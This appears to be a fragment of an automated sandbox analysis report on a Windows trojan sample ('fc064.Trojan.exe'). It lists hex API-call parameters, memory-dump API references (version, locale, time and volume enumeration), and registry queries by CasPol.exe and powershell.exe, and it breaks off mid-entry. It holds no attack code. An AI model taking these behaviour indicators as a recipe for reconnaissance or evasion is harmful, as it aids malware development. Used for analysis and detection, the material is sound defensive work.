1c0100000a000000000000005d580000020000000000370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600340046004200440030007d000000330038003100320033003900310030003000310031077b1d7ec204cc310764cc31072ce131075c0000008e00f906c4ce3107caff80778e00f906b8cc31075c0000007000f90668cf3107f2ff8077000000000000000028cc4618cccc310718d03107b0acd974ffffffff0ccd310772fac474e4cc31077cceb67472fac4740100000000000000020000007cceb67438cd310774d331070c02fc0680fac474a29427762a000000e85e8f00000000001ccc4618 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d580000020000000000370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600340046004200440030007d000000330038003100320033003900310030003000310031077b1d7ec204cc310764cc31072ce131075c000000aefdf806c4ce3107caff8077aefdf806b8cc31075c00000090fdf80668cf3107f2ff8077000000000000000028cc4618cccc310718d03107b0acd974ffffffff0ccd310772fac474e4cc31077cceb67472fac4740100000000000000020000007cceb67438cd310774d331070c02fc0680fac474a294277629000000e85e8f00000000001ccc4618 (UID: 00000000-00007512) "fc064.Trojan.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007512)2f:T52d,Found reference to API "IsWow64Process" (Indicator: "IsWow64Process"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "IsWow64Process2" (Indicator: "IsWow64Process"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "IsWow64Process" (Indicator: "IsWow64Process"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")30:Tbed,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E54D9000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "GetSystemTimes" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp")31:T7ce,Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp")32:T8ec,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E54D9000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")33:T533,Found reference to API "RtlNtStatusToDosErrorNoTeb" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000848.00000000.67361.00581000.00000020.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp")34:Tbed,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E54D9000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "GetSystemTimes" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp")35:Td5d,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")36:T953,Found reference to API "FindFirstVolumeW" (Indicator: "FindFirstVolume"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "FindNextVolumeW" (Indicator: "FindNextVolume"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "FindVolumeClose" (Indicator: "FindVolumeClose"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")37:T7a4,"CasPol.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "CasPol.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTRATIONENABLED"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTERADAPTERNAME"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "ENABLEMULTICAST"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "QUERYADAPTERNAME"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "DOMAIN"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "NAMESERVER"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "PROFILENAMESERVER"; Value: "")38:T1314,"fc064.Trojan.exe" queries volume information of "C:\fc064.Trojan.exe" at 00000000-00007512-00000C15-41077920 "fc064.Trojan.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00007512-00000C15-41212990 "fc064.Trojan.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00007512-00000C15-41354235 "fc064.Trojan.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00007512-00000C15-42245542 "fc064.Trojan.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll" at 00000000-00007512-00000C15-42279266 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00007512-00000C15-42602696 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00007512-00000C15-42607916 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00007512-00000C15-42609516 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00007512-00000C15-42611124 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00007512-00000C15-42612676 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00007512-00000C15-42614290 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00007512-00000C15-42615857 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00007512-00000C15-42617393 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00007512-00000C15-42618992 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00007512-00000C15-42620642 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00007512-00000C15-42622157 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00007512-00000C15-42623688 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00007512-00000C15-42625245 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00007512-00000C15-42626712 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00007512-00000C15-42628221 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00007512-00000C15-42629741 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00007512-00000C15-42631291 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf" at 00000000-00007512-00000C15-42632805 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf" at 00000000-00007512-00000C15-42650738 "fc064.Trojan.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.17.11461.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf" at 00000000-00007512-00000C15-4265230439:T934,"powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: 